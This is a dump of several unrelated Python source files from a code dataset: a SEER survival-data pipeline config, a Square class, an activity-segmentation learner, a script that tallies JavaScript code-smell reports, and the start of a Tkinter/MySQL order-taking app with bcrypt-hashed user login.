'categorical'),\n ('CS Site-Specific Factor 16', [], [], 'categorical'),\n ('Lymph-vascular Invasion (2004+)', [], [], 'categorical'),\n ('Insurance Recode (2007+)', [], [], 'categorical'),\n ('Derived AJCC T 7th ed', [], [], 'categorical'),\n ('Derived AJCC N 7th ed', [], [], 'categorical'),\n ('Derived AJCC M 7th ed', [], [], 'categorical'),\n ('Derived AJCC 7 Stage Group', [], [], 'categorical'),\n ('Adjusted AJCC 6th T (1988+)', [], [], 'categorical'),\n ('Adjusted AJCC 6th N (1988+)', [], [], 'categorical'),\n ('Adjusted AJCC 6th M (1988+)', [], [], 'categorical'),\n ('Adjusted AJCC 6th Stage (1988+)', [], [], 'categorical'),\n ('CS Site-Specific Factor 7', [], [], 'categorical'),\n ('CS Site-specific Factor 9', [], [], 'categorical'),\n ('CS Site-Specific Factor 12', [], [], 'categorical'),\n ('Derived HER2 Recode (2010+)', [], [], 'categorical'),\n ('Breast Subtype (2010+)', [], [], 'categorical'),\n ('Lymphoma - Ann Arbor Stage (1983+)', [], [], 'categorical'),\n ('CS mets at DX-bone (2010+)', [], [], 'categorical'),\n ('CS mets at DX-brain (2010+)', [], [], 'categorical'),\n ('CS mets at DX-liver (2010+)', [], [], 'categorical'),\n ('CS mets at DX-lung (2010+)', [], [], 'categorical'),\n ('T value - based on AJCC 3rd (1988-2003)', [], [], 'categorical'),\n ('N value - based on AJCC 3rd (1988-2003)', [], [], 'categorical'),\n ('M value - based on AJCC 3rd (1988-2003)', [], [], 'categorical'),\n\n # Numerical inputs\n # If 1-n encoding used, encode special codes (unknown, empty) as distinct 1-n vector\n # Encode empty (-1) for all continuous and special codes depending on the variable (see SEER data dictionary)\n ('Age at diagnosis', [(fc.encode_values, [[-1, 999]])], [], 'continuous'),\n ('Year of birth', [(fc.encode_values, [[-1]])], [], 'continuous'),\n ('Year of diagnosis', [(fc.encode_values, [[-1]])], [], 'continuous'),\n\n ('EOD 10 - positive lymph nodes examined', [(fc.encode_values, [[-1, 90, 95, 97, 98, 99]])], [], 'continuous'),\n ('EOD 10 - number of lymph nodes examined', [(fc.encode_values, [[-1, 90, 95, 96, 97, 98, 99]])], [], 'continuous'),\n ('CS Tumor size', [(fc.encode_values, [[-1, 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, 999, 888]])], [],\n 'continuous'),\n ('Age recode <1 year olds', [(fc.encode_values, [[-1, 99]])], [], 'continuous'),\n\n # Modified Inputs:\n # Remove info if more than one primary, not applicable for experiments\n ('Sequence number', [(fc.map_values, [{0: 1, 60: 61}])], [], 'categorical'),\n\n # Target relevant inputs - will be transformed into the target later\n ('SEER cause of death classification', [], [], 'target'),\n ('Survival months', [], [], 'target'),\n\n # Removed due to irrelevancy:\n ('Patient ID', [], [], 'remove'),\n ('Survival months flag', [], [], 'remove'),\n ('Record number', [], [], 'remove'),\n ('Type of followup expected', [], [], 'remove'),\n # Compound information in one variable\n ('EOD--old 13 digit', [], [], 'remove'),\n ('EOD--old 2 digit', [], [], 'remove'),\n ('EOD--old 4 digit', [], [], 'remove'),\n\n # Removed due to information added after diagnosis:\n # might contain information about a confirmation after the initial diagnosis.\n ('Diagnostic confirmation', [], [], 'remove'),\n ('Cause of death to SEER site recode', [], [], 'remove'),\n ('SEER other cause of death classification', [], [], 'remove'),\n ('COD to site rec KM', [], [], 'remove'),\n ('Vital status recode (study cutoff used)', [], [], 'remove'),\n ('Total number of in situ/malignant tumors for patient', [], [], 'remove'),\n ('Total number of benign/borderline tumors for patient', [], [], 'remove'),\n\n # Removed due to treatment information:\n ('RX Summ--surg prim site', [], [], 'remove'),\n ('RX Summ--scope reg LN sur 2003+', [], [], 'remove'),\n ('RX Summ--surg oth reg/dis', [], [], 'remove'),\n ('Number of lymph nodes', [], [], 'remove'),\n ('Reason no cancer-directed surgery', [], [], 'remove'),\n ('Site specific surgery (1983-1997)', [], [], 'remove'),\n ('Scope of lymph node surgery 98-02', [], [], 'remove'),\n ('Surgery to other sites', [], [], 'remove'),\n ('CS EXT/Size Eval', [], [], 'remove'),\n ('CS Nodes Eval', [], [], 'remove'),\n ('CS Mets Eval', [], [], 'remove')\n]\n","repo_name":"stefanhgm/MLHC2018-reproducible-survival-seer","sub_path":"lib/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":8590,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"29"} +{"seq_id":"35126082596","text":"#!/usr/bin/python3\n\"\"\"Module provide a subclass Square that inherits from Rectangle\"\"\"\n\n\nfrom models.rectangle import Rectangle\n\n\nclass Square(Rectangle):\n \"\"\"Create Square class that inherits from Rectangle class\"\"\"\n def __init__(self, size, x=0, y=0, id=None):\n super().__init__(size, size, x, y, id)\n\n @property\n def size(self):\n return self.width\n\n @size.setter\n def size(self, value):\n self.width = value\n\n def update(self, *args, **kwargs):\n \"\"\"Method that update arguments of class\"\"\"\n if args:\n for idx in range(len(args)):\n if idx == 0:\n self.id = args[idx]\n if idx == 1:\n (super(__class__, self.__class__).\n width.__set__(self, args[idx]))\n if idx == 2:\n (super(__class__, self.__class__).\n x.__set__(self, args[idx]))\n if idx == 3:\n (super(__class__, self.__class__).\n y.__set__(self, args[idx]))\n else:\n for value in kwargs:\n if value == \"id\":\n self.id = kwargs[value]\n if value == \"size\":\n (super(__class__, self.__class__).\n width.__set__(self, kwargs[value]))\n if value == \"x\":\n (super(__class__, self.__class__).\n x.__set__(self, kwargs[value]))\n if value == \"y\":\n (super(__class__, self.__class__).\n y.__set__(self, kwargs[value]))\n\n def __str__(self):\n return f\"[Square] ({self.id}) {self.x}/{self.y} - {self.width}\"\n\n def to_dictionary(self):\n \"\"\"Funtion returns the dict repr of a Square\"\"\"\n return {\"id\": self.id, \"x\": self.x, \"size\": self.width, \"y\": self.y}\n","repo_name":"rvegarodz/holbertonschool-higher_level_programming","sub_path":"python-almost_a_circle/models/square.py","file_name":"square.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"38263822335","text":"import time\nimport os\nimport pickle\n\nfrom flask import current_app\nimport ruptures as rpt\nimport numpy as np\nimport coloredlogs\nimport logging\n\nfrom controllers.dbreader.imagereader import ImageReader\nfrom controllers.vectorizer.person2vec import Person2Vec\nfrom utils import db\nfrom controllers.tests.trainer import Trainer\n\nlogger = logging.getLogger(__name__)\ncoloredlogs.install(level=current_app.config['LOG_LEVEL'], logger=logger)\n\n\ndef check_recorded_segments(times, username, start_time, end_time, min_fit_size):\n results = db.segments.find({'username': username, \"end_time\": {\"$gte\": start_time, \"$lt\": end_time}}).sort(\n [(\"end_time\", 1)])\n results = list(results)\n\n latest_start_fit_index = max(0, len(times) - min_fit_size)\n\n if len(results) > 0:\n #logger.debug(\"last recorded segment: {}\".format(results[-1]))\n last_fixed_index = times.index(results[-1][\"end_time\"]) # np.searchsorted(times, results[-1][\"time\"])\n else:\n last_fixed_index = 0\n\n start_fit_index = min(latest_start_fit_index, last_fixed_index)\n segments = np.array([[r[\"start_time\"], r[\"end_time\"]] for r in results])\n segments = np.searchsorted(times, segments.flatten()).reshape([-1, 2]).tolist()\n\n return segments, last_fixed_index, start_fit_index\n\n\ndef record_segments(username, segments, segment_times, start_record, end_record):\n data = []\n #misc = []\n accum = 0\n\n for i, (start, end) in enumerate(segment_times[::-1]):\n seg_len = end - start\n\n if start >= start_record and (end < end_record or accum+seg_len > 2000):\n d = {'username': username, 'start_time': start, 'end_time': end}\n data.append(d)\n #misc.append(segments[i])\n accum += seg_len\n\n data = data[::-1]\n #misc = misc[::-1]\n\n if len(data) > 0:\n db.segments.insert_many(data)\n\n\nclass Learner:\n def __init__(self, username, cams):\n self.models = {}\n self.data2vec = Person2Vec()\n self.username = username\n self.cams = cams\n self.trainers = {}\n\n def get_down_times(self, times):\n down_threshold = 30\n\n t = np.array(times[1:]) - np.array(times[:-1])\n downs = t > down_threshold\n\n return downs\n\n def create_image_matrix(self, imdata):\n pose_mat, act_mat, meta = self.data2vec.vectorize(imdata, get_meta=True, average=True)\n\n mat = act_mat#np.concatenate([act_mat, pose_mat], axis=1)\n\n return mat, meta\n\n def calculate_segments(self, X, times, start_time, end_time):\n min_fit_size = 1000\n recorded_segments, last_fixed_index, start_fit_index = \\\n check_recorded_segments(times, self.username, start_time, end_time, min_fit_size)\n\n # TODO inefficient repetition\n downs = (np.where(self.get_down_times(times))[0] + 1).tolist()\n starts = [0] + downs\n ends = downs + [len(times)]\n cam_segments = [list(a) for a in zip(starts, ends)]\n downs = (np.where(self.get_down_times(times[start_fit_index:]))[0] + 1 + start_fit_index).tolist()\n starts = [start_fit_index] + downs\n ends = downs + [len(times)]\n\n segments = []\n\n #logger.debug(str(recorded_segments[-1]))\n #logger.debug(\"calculating breakpoints, {}\".format(list(zip(starts, ends))))\n\n for start, end in zip(starts, ends):\n #logger.debug(\"{} -> {}\".format(start, end))\n\n if end - start > 1:\n part = X[start:end]\n model = \"l1\" # \"l2\", \"rbf\"\n algo = rpt.BottomUp(model=model, min_size=1, jump=1).fit(part)\n sigma = 2\n breaks = algo.predict(pen=np.log(part.shape[0]) * part.shape[1] * sigma ** 2)\n breaks = (np.array(breaks) + start).tolist()\n breaks[-1] -= 1 # avoid index out of range\n part_intervals = [list(a) for a in zip([start] + breaks[:-1], breaks)]\n segments.extend(part_intervals)\n else:\n # avoid index out of range\n end -= 1\n segments.append((start, end))\n\n segments = [(max(s, last_fixed_index), e) for s, e in segments if e > last_fixed_index]\n segment_times = [(times[s], times[e]) for s, e in segments]\n\n fix_threshold = max(len(times) - min_fit_size // 2, 0)\n\n record_segments(self.username, segments, segment_times, times[last_fixed_index], times[fix_threshold])\n\n segments = recorded_segments + segments\n segment_times = [(times[s], times[e]) for s, e in segments]\n\n return segments, segment_times, cam_segments, times[last_fixed_index]\n\n def update_models(self, labels, start_time, end_time=None):\n imreader = ImageReader()\n\n if end_time is None:\n end_time = time.time()\n\n t = time.time()\n\n chunk_size = 3600 * 24\n start_segs = list(range(int(start_time), int(end_time), chunk_size))\n\n imdata = []\n times = []\n X = []\n meta = []\n\n for i, start_seg in enumerate(start_segs):\n if i == len(start_segs)-1:\n end_seg = int(end_time)\n\n _imdata, _times = imreader.read_db(self.username, start_seg, end_seg, self.cams, skip_absent=False)\n _X, _meta = self.create_image_matrix(_imdata)\n data = {\"imdata\": _imdata, \"times\": _times, \"X\": _X, \"meta\": _meta}\n else:\n end_seg = start_seg + chunk_size\n\n p_name = \"datafiles/dataloader_cache/\" + str(start_seg) + \"-\" + str(end_seg) + \".pkl\"\n\n if not os.path.exists(p_name):\n _imdata, _times = imreader.read_db(self.username, start_seg, end_seg, self.cams, skip_absent=False)\n _X, _meta = self.create_image_matrix(_imdata)\n\n data = {\"imdata\": _imdata, \"times\": _times, \"X\": _X, \"meta\": _meta}\n pickle.dump(data, open(p_name, \"wb+\"))\n\n data = pickle.load(open(p_name, \"rb\"))\n\n if len(data[\"imdata\"]) > 0:\n imdata.extend(data[\"imdata\"])\n times.extend(data[\"times\"])\n X.append(data[\"X\"])\n meta.extend(data[\"meta\"])\n\n X = np.concatenate(X, axis=0)\n\n print(\"1. read db: \", time.time() - t)\n\n t = time.time()\n print(\"2. create matrix: \", time.time() - t)\n\n if len(imdata) == 0:\n return None, None\n else:\n\n t = time.time()\n segments, segment_times, cam_segments, fixed_time = self.calculate_segments(X, times, start_time, end_time)\n print(\"3. calculate segments: \", time.time() - t)\n t = time.time()\n train_labels = {}\n\n for mode, label_set in labels.items():\n if mode not in self.trainers:\n self.trainers[mode] = Trainer()\n\n if len(label_set) <= 0:\n label_data = {\"raw\": np.array([]), \"augmented\": np.array([]), \"intervals\": [], \"indices\": [],\n \"seg_mapping\": []}\n m, m_breaks = None, []\n else:\n m, label_data, update_model = self.trainers[mode].learn_model(times, X, label_set, segments, segment_times)\n\n if update_model:\n logger.debug(\"model <{}> updated.\".format(mode))\n\n self.models[mode] = m\n train_labels[mode] = label_data\n\n print(\"4. fit model\", time.time() - t)\n misc = {}\n misc[\"matrix\"] = X\n misc[\"times\"] = times\n misc[\"raw_data\"] = imdata\n misc[\"meta\"] = meta\n misc[\"segments\"] = segments\n misc[\"segment_times\"] = segment_times\n misc[\"segments_last_fixed\"] = fixed_time\n misc[\"cam_segments\"] = cam_segments\n misc[\"train_labels\"] = train_labels\n misc[\"time_range\"] = {\"min\": start_time, \"max\": end_time}\n\n return self.models, misc\n\n def predict(self, mode, images):\n clf = self.models[mode]\n pose_mat, act_mat = self.data2vec.vectorize(images, average=True)\n input_mat = act_mat#np.concatenate([act_mat, pose_mat], axis=1)\n probs = clf.predict_proba(input_mat)\n pred_labels = clf.classes_[np.argmax(probs, axis=1)]\n\n return pred_labels, probs\n","repo_name":"nakamoo/sumica","sub_path":"main_server/sumica/controllers/tests/learner2.py","file_name":"learner2.py","file_ext":"py","file_size_in_byte":8403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"18126654329","text":"import os\r\nimport csv\r\nfilelist=[]\r\nbasepath = 'games-output-78'\r\nfor entry in os.listdir(basepath):\r\n if os.path.isfile(os.path.join(basepath, entry)):\r\n filelist.append(entry)\r\n#print(filelist)\r\ncsvData=[]\r\nlabel=['filename','closure','couplingJs','empty','globalv','largeobj','lazyobj','longmess','longmeth','longpara','nested','refused','switch','unreachable']\r\ncsvData.append(label)\r\nfor j in filelist:\r\n st='games-output-78/'+j\r\n f1=open(st,\"r\")\r\n v=f1.readlines()\r\n n=len(v)\r\n f1.close()\r\n arr=[0]*13\r\n a=[]\r\n flag=0\r\n temp=[]\r\n f.open(st,\"r\")\r\n for i in range(v):\r\n y=(f.readline()).strip()\r\n #print(y)\r\n if \"http://localhost:8000/\" in y and flag==0:\r\n flag=1\r\n a=y.strip().split('/')\r\n temp.append(a[-2])\r\n print(a[-2])\r\n \r\n \r\n if y == '********** EXCESSIVE GLOBAL VARIABLES **********':\r\n x=(f.readline()).strip()\r\n z=x.index(\":\")+1\r\n num=int(x[z:])\r\n if num!=0:\r\n x1=(f.readline()).strip()\r\n #print(x1)\r\n z=x.index(\":\")+2\r\n x2=x1[z:-1]\r\n t=x2.split(\",\")\r\n #print(t)\r\n a+=t\r\n i+=2\r\n else:\r\n i+=1\r\n \r\n #print(x)\r\n \r\n \r\n elif y == \"*********** LARGE OBJECT **********\":\r\n x=(f.readline()).strip()\r\n z=x.index(\":\")+1\r\n num=int(x[z:])\r\n largeobj+=num\r\n arr[4]+=num\r\n #print(x)\r\n i+=1\r\n elif y == \"********** LAZY OBJECT **********\":\r\n x=(f.readline()).strip()\r\n z=x.index(\":\")+1\r\n num=int(x[z:])\r\n arr[5]+=num\r\n #print(x)\r\n i+=1\r\n elif y == \"********** LONG MESSAGE **********\":\r\n x=(f.readline()).strip()\r\n z=x.index(\":\")+1\r\n num=int(x[z:])\r\n arr[6]+=num\r\n #print(x)\r\n i+=1\r\n elif y == \"********** LONG METHOD/FUNCTION **********\":\r\n x=(f.readline()).strip()\r\n z=x.index(\":\")+1\r\n num=int(x[z:])\r\n arr[7]+=num\r\n #print(x)\r\n i+=1\r\n elif y == \"********** LONG PARAMETER LIST **********\":\r\n x=(f.readline()).strip()\r\n z=x.index(\":\")+1\r\n num=int(x[z:])\r\n arr[8]+=num\r\n #print(x)\r\n i+=1\r\n elif y == \"********** NESTED CALLBACK **********\":\r\n x=(f.readline()).strip()\r\n z=x.index(\":\")+1\r\n num=int(x[z:])\r\n arr[9]+=num\r\n #print(x)\r\n i+=1\r\n elif y == \"********** REFUSED BEQUEST **********\":\r\n x=(f.readline()).strip()\r\n z=x.index(\":\")+1\r\n num=int(x[z:])\r\n arr[10]+=num\r\n #print(x)\r\n i+=1\r\n elif y == \"********** SWITCH STATEMENT **********\":\r\n x=(f.readline()).strip()\r\n z=x.index(\":\")+1\r\n num=int(x[z:])\r\n arr[11]+=num\r\n #print(x)\r\n i+=1\r\n elif y == \"********** UNREACHABLE CODE **********\":\r\n x=(f.readline()).strip()\r\n z=x.index(\":\")+1\r\n num=int(x[z:])\r\n arr[12]+=num\r\n #print(x)\r\n i+=1\r\n elif y == \"********** EMPTY CATCH **********\":\r\n x=(f.readline()).strip()\r\n z=x.index(\":\")+1\r\n num=int(x[z:])\r\n arr[2]+=num\r\n #print(x)\r\n i+=1\r\n elif y == \"********** COUPLING JS/HTML **********\":\r\n x=(f.readline()).strip()\r\n z=x.index(\":\")+1\r\n num=int(x[z:])\r\n arr[1]+=num\r\n #print(x)\r\n i+=1\r\n elif y == \"********** CLOSURE SMELL **********\":\r\n x=(f.readline()).strip()\r\n z=x.index(\":\")+1\r\n num=int(x[z:])\r\n arr[0]+=num\r\n #print(x)\r\n i+=1\r\n \r\n arr[3]+=len(set(a))\r\n temp+=arr\r\n csvData.append(temp)\r\nwith open('games-output-78.csv', 'w') as csvFile:\r\n writer = csv.writer(csvFile)\r\n writer.writerows(csvData)\r\n\r\ncsvFile.close()\r\n","repo_name":"vaishalikhanve/Code-Smells-Detection-in-Web-Games","sub_path":"Data_extraction_from_raw_jsnose_data.py","file_name":"Data_extraction_from_raw_jsnose_data.py","file_ext":"py","file_size_in_byte":4277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"16705562462","text":"import mysql.connector\r\nimport json\r\nimport tkinter as tk\r\nfrom tkinter import ttk\r\nfrom tkinter import messagebox\r\nfrom tkinter.font import Font\r\nfrom datetime import datetime\r\nimport os\r\nfrom PIL import Image, ImageTk\r\nimport bcrypt\r\n\r\npedidos = {}\r\npedidos_pendientes = {}\r\ninicio_tiempo = datetime.now() # Variable global para el tiempo\r\namarillo = \"#e6a902\"\r\nrojo = \"#e60707\"\r\nblanco = \"#fcebeb\"\r\nverde = \"#4ab56e\"\r\nentrada_seleccionada = None # Variable para almacenar el valor seleccionado\r\nentrega_seleccionada = None\r\n# Define una lista vacía para almacenar los productos seleccionados\r\nproductos_seleccionados = []\r\nid_pedido_existente = None\r\n\r\ndirectorio_actual = os.path.dirname(os.path.abspath(__file__))\r\n\r\n# Combina el directorio actual con el nombre de la imagen\r\nruta_imagen = os.path.join(directorio_actual, \"avatar-hombre2.jpg\")\r\n\r\n# Abre una imagen\r\nimage = Image.open(ruta_imagen)\r\n\r\nnuevo_ancho = 250\r\nnuevo_alto = 250\r\nimage = image.resize((nuevo_ancho, nuevo_alto), Image.LANCZOS)\r\n\r\ndef crear_ventana_secundaria(root):\r\n ventana_secundaria = tk.Toplevel(root)\r\n ventana_secundaria.title(\"Ventana Secundaria\")\r\n\r\n blanco = \"#fcebeb\"\r\n verde = \"#4ab56e\"\r\n amarillo = \"#e6a902\"\r\n\r\n ventana_secundaria.config(bg=blanco)\r\n\r\n style = ttk.Style()\r\n style.configure(\"TFrame\", background=verde, width=400, height=600)\r\n\r\n ventana_secundaria.grid_columnconfigure(0, weight=1)\r\n\r\n title_font = (\"Gill Sans MT\", 20)\r\n\r\n frame = tk.Frame(ventana_secundaria, bg=verde, borderwidth=3, relief=\"solid\")\r\n frame.grid(row=2, column=0)\r\n\r\n usuario_label = tk.Label(frame, text=\"Usuario\", font=(\"Gill Sans MT\", 16), bg=verde)\r\n usuario_label.grid(row=1, column=0, pady=(20, 10), columnspan=2)\r\n\r\n usuario_select = ttk.Combobox(frame, font=(\"Gill Sans MT\", 16), state=\"readonly\")\r\n usuario_select.grid(row=2, column=0, pady=(0, 30), padx=(50, 0))\r\n\r\n add_usuario = tk.Button(frame, text=\"+\", font=(\"Gill Sans MT\", 11, \"bold\"), relief=\"flat\", cursor=\"hand2\", command=lambda:nuevo_usuario(root, usuario_select))\r\n add_usuario.grid(row=2, column=1, sticky=\"NW\", ipadx=5, padx=(10, 50))\r\n\r\n password_label = tk.Label(frame, text=\"Contraseña\", font=(\"Gill Sans MT\", 16), bg=verde)\r\n password_label.grid(row=3, column=0, pady=(0, 10), columnspan=2)\r\n\r\n password_input = tk.Entry(frame, font=(\"Arial\", 18), show=\"*\", width=22)\r\n password_input.grid(row=4, column=0, pady=(0, 30), columnspan=2, padx=(50, 50))\r\n\r\n ingreso_button = tk.Button(frame, text=\"INGRESAR\", cursor=\"hand2\", relief=\"flat\", font=(\"Consolas\", 14, \"bold\"), background=amarillo, command=lambda:comprobar_usuario_contraseña(root,usuario_select,password_input))\r\n ingreso_button.grid(row=5, column=0, pady=(0, 20), columnspan=2)\r\n\r\n # Conecta a la base de datos\r\n conexion = mysql.connector.connect(\r\n host=\"localhost\",\r\n user=\"root\",\r\n password=\"\",\r\n database=\"lomiteria\"\r\n )\r\n\r\n # Crea un cursor\r\n cursor = conexion.cursor()\r\n\r\n # Realiza una consulta SQL para obtener los nombres de usuario\r\n cursor.execute(\"SELECT nombre_usuario FROM usuarios\")\r\n nombres_usuarios = [row[0] for row in cursor.fetchall()]\r\n\r\n # Cierra el cursor y la conexión a la base de datos\r\n cursor.close()\r\n conexion.close()\r\n\r\n # Establece los nombres de usuario en el Combobox\r\n usuario_select['values'] = nombres_usuarios\r\n\r\n\r\n ventana_secundaria.mainloop()\r\n\r\n\r\ndef actualizar_nombres_usuarios(select):\r\n \r\n # Conecta a la base de datos\r\n conexion = mysql.connector.connect(\r\n host=\"localhost\",\r\n user=\"root\",\r\n password=\"\",\r\n database=\"lomiteria\"\r\n )\r\n\r\n # Crea un cursor\r\n cursor = conexion.cursor()\r\n\r\n # Realiza una consulta SQL para obtener los nombres de usuario\r\n cursor.execute(\"SELECT nombre_usuario FROM usuarios\")\r\n nombres_usuarios = [row[0] for row in cursor.fetchall()]\r\n\r\n # Cierra el cursor y la conexión a la base de datos\r\n cursor.close()\r\n conexion.close()\r\n\r\n # Establece los nombres de usuario en el Combobox\r\n select['values'] = nombres_usuarios\r\n\r\ndef nuevo_usuario(ventana, select):\r\n global nuevo_usuario_entry, nueva_contraseña_entry, confirmar_contraseña_entry, usuario_select\r\n\r\n usuario_select = select\r\n\r\n crear_usuario_window = tk.Toplevel(ventana, relief=\"solid\", borderwidth=3)\r\n crear_usuario_window.title(\"Crear Usuario\")\r\n crear_usuario_window.config(bg=verde)\r\n\r\n nuevo_usuario_label = tk.Label(crear_usuario_window, bg=verde, text=\"Nuevo Usuario\", font=(\"Gill Sans MT\", 16))\r\n nuevo_usuario_label.grid(row=0, column=0, padx=10, pady=10)\r\n\r\n nuevo_usuario_entry = tk.Entry(crear_usuario_window, font=(\"Arial\", 16), width=24)\r\n nuevo_usuario_entry.grid(row=1, column=0, padx=10, pady=10, sticky=\"w\")\r\n\r\n nueva_contraseña_label = tk.Label(crear_usuario_window, bg=verde, text=\"Nueva Contraseña\", font=(\"Gill Sans MT\", 16))\r\n nueva_contraseña_label.grid(row=2, column=0, padx=10, pady=10)\r\n nueva_contraseña_entry = tk.Entry(crear_usuario_window, font=(\"Arial\", 18), show=\"*\", width=22)\r\n nueva_contraseña_entry.grid(row=3, column=0, padx=10, pady=10, sticky=\"w\")\r\n\r\n confirmar_contraseña_label = tk.Label(crear_usuario_window, bg=verde, text=\"Confirmar Contraseña\", font=(\"Gill Sans MT\", 16))\r\n confirmar_contraseña_label.grid(row=4, column=0, padx=10, pady=10)\r\n\r\n confirmar_contraseña_entry = tk.Entry(crear_usuario_window, font=(\"Arial\", 18), show=\"*\", width=22)\r\n confirmar_contraseña_entry.grid(row=5, column=0, padx=10, pady=10, sticky=\"w\")\r\n\r\n crear_button = tk.Button(crear_usuario_window, text=\"CREAR\", relief=\"flat\", font=(\"Consolas\", 14, \"bold\"), cursor=\"hand2\", background=amarillo, command=lambda: [crear_usuario_contraseña(crear_usuario_window)])\r\n crear_button.grid(row=6, column=0, padx=10, pady=20, ipadx=5)\r\n\r\ndef crear_usuario_contraseña(ventana):\r\n # Obtén el nombre de usuario y contraseña ingresados en la interfaz gráfica\r\n nuevo_usuario = nuevo_usuario_entry.get()\r\n nueva_contraseña = nueva_contraseña_entry.get()\r\n confirmar_contraseña = confirmar_contraseña_entry.get()\r\n\r\n # Verificar que los campos no estén vacíos\r\n if not nuevo_usuario or not nueva_contraseña or not confirmar_contraseña:\r\n messagebox.showerror(\"Error\", \"Debes completar todos los campos.\")\r\n return\r\n\r\n # Verificar que las contraseñas coincidan\r\n if nueva_contraseña == confirmar_contraseña:\r\n # Hashear la contraseña\r\n hashed_password = bcrypt.hashpw(nueva_contraseña.encode('utf-8'), bcrypt.gensalt())\r\n\r\n # Conectar a la base de datos y crear el usuario\r\n conexion = mysql.connector.connect(\r\n host=\"localhost\",\r\n user=\"root\",\r\n password=\"\",\r\n database=\"lomiteria\"\r\n )\r\n cursor = conexion.cursor()\r\n\r\n # Insertar el nuevo usuario y su contraseña en la base de datos\r\n insert_query = \"INSERT INTO usuarios (nombre_usuario, contrasena) VALUES (%s, %s)\"\r\n values = (nuevo_usuario, hashed_password)\r\n cursor.execute(insert_query, values)\r\n\r\n # Confirmar los cambios y cerrar la conexión\r\n conexion.commit()\r\n cursor.close()\r\n conexion.close()\r\n actualizar_nombres_usuarios(usuario_select)\r\n # Cerrar la ventana de creación de usuario\r\n ventana.destroy()\r\n else:\r\n # Mostrar un mensaje de error si las contraseñas no coinciden\r\n messagebox.showerror(\"Error\", \"Las contraseñas no coinciden. Por favor, inténtalo de nuevo.\")\r\n\r\ndef comprobar_usuario_contraseña(root, usuario_entry, contraseña_entry):\r\n global nombre_usuario\r\n nombre_usuario = usuario_entry.get()\r\n contraseña = contraseña_entry.get()\r\n\r\n # Conecta a la base de datos\r\n conexion = mysql.connector.connect(\r\n host=\"localhost\",\r\n user=\"root\",\r\n password=\"\",\r\n database=\"lomiteria\"\r\n )\r\n cursor = conexion.cursor()\r\n\r\n # Busca el usuario en la base de datos\r\n cursor.execute(\"SELECT contrasena FROM usuarios WHERE nombre_usuario=%s\", (nombre_usuario,))\r\n resultado = cursor.fetchone()\r\n\r\n if resultado:\r\n contrasena_almacenada = resultado[0]\r\n if bcrypt.checkpw(contraseña.encode('utf-8'), contrasena_almacenada.encode('utf-8')):\r\n messagebox.showinfo(\"Inicio de Sesión\", \"Inicio de sesión exitoso\")\r\n root.destroy()\r\n create_window(0)\r\n else:\r\n messagebox.showerror(\"Error\", \"Contraseña incorrecta\")\r\n else:\r\n messagebox.showerror(\"Error\", \"Usuario no encontrado\")\r\n\r\n # Cierra la conexión a la base de datos\r\n conexion.close()\r\n\r\n\r\n\r\ndef cargar_pedidos():\r\n try:\r\n # Conecta a la base de datos\r\n db = mysql.connector.connect(\r\n host=\"localhost\",\r\n user=\"root\",\r\n password=\"\",\r\n database=\"lomiteria\"\r\n )\r\n \r\n cursor = db.cursor()\r\n \r\n # Realiza una consulta para obtener los datos de los pedidos\r\n cursor.execute(\"SELECT id_pedido, nombre_cliente, descripcion, total, entregado, cancelado, fecha_registro, direccion, telefono, medio_pago, id_tipo_entrada, id_modo_consumo, id_tipo_entrega FROM Pedido\")\r\n \r\n # Recupera todos los registros de la consulta\r\n pedidos = cursor.fetchall()\r\n\r\n except mysql.connector.Error as error:\r\n print(f\"Error al cargar pedidos: {error}\")\r\n\r\n finally:\r\n cursor.close()\r\n db.close()\r\n return pedidos\r\n\r\ndef cargar_productos():\r\n # Crear una conexión a la base de datos\r\n conexion = mysql.connector.connect(\r\n host=\"localhost\",\r\n user=\"root\",\r\n password=\"\",\r\n database=\"Lomiteria\" # Nombre de tu base de datos\r\n )\r\n\r\n # Crear un cursor para ejecutar consultas SQL\r\n cursor = conexion.cursor()\r\n\r\n # Consulta para obtener los productos y sus precios x1\r\n query = \"SELECT Id_producto, Nombre, PrecioUnitario FROM Producto\"\r\n cursor.execute(query)\r\n productos = cursor.fetchall()\r\n\r\n # Crear un diccionario para almacenar los precios x2\r\n precios_x2 = {}\r\n\r\n # Para cada producto, consulta el precio x2 en Promocion2x1\r\n for producto in productos:\r\n id_producto, nombre, precio_x1 = producto\r\n cursor.execute(\"SELECT Precio FROM Promocion2x1 WHERE Producto1 = %s\", (id_producto,))\r\n rows = cursor.fetchall()\r\n if rows: # Verifica si se encontraron resultados\r\n precio_x2 = rows[0][0]\r\n else:\r\n precio_x2 = \"\"\r\n precios_x2[id_producto] = precio_x2 # Usar el ID de producto como clave\r\n\r\n cursor.close()\r\n conexion.close()\r\n\r\n # Agregar el precio x2 a la lista de productos\r\n productos_con_precios_x2 = []\r\n for producto in productos:\r\n id_producto, nombre, precio_x1 = producto\r\n precio_x2 = precios_x2.get(id_producto, precio_x1)\r\n productos_con_precios_x2.append((nombre, precio_x1, precio_x2))\r\n\r\n return productos_con_precios_x2\r\n\r\n\r\ndef guardar_productos_seleccionados(id_pedido):\r\n # Convierte la lista de productos seleccionados a una cadena JSON\r\n productos_json = json.dumps(productos_seleccionados)\r\n print(productos_json)\r\n\r\n conexion = mysql.connector.connect(\r\n host=\"localhost\",\r\n user=\"root\",\r\n password=\"\",\r\n database=\"lomiteria\"\r\n )\r\n cursor = conexion.cursor()\r\n\r\n # Borrar los datos anteriores para el id_pedido en la tabla\r\n cursor.execute(\"DELETE FROM ProductosSeleccionados WHERE id_pedido = %s\", (id_pedido,))\r\n\r\n # Insertar los productos seleccionados en la tabla\r\n cursor.execute(\"INSERT INTO ProductosSeleccionados (id_pedido, Productos) VALUES (%s, %s)\", (id_pedido, productos_json))\r\n\r\n # Confirmar los cambios y cerrar la conexión\r\n conexion.commit()\r\n cursor.close()\r\n conexion.close()\r\n\r\n\r\ndef cargar_productos_seleccionados(id_pedido):\r\n conexion = mysql.connector.connect(\r\n host=\"localhost\",\r\n user=\"root\",\r\n password=\"\",\r\n database=\"lomiteria\"\r\n )\r\n cursor = conexion.cursor()\r\n\r\n # Consulta 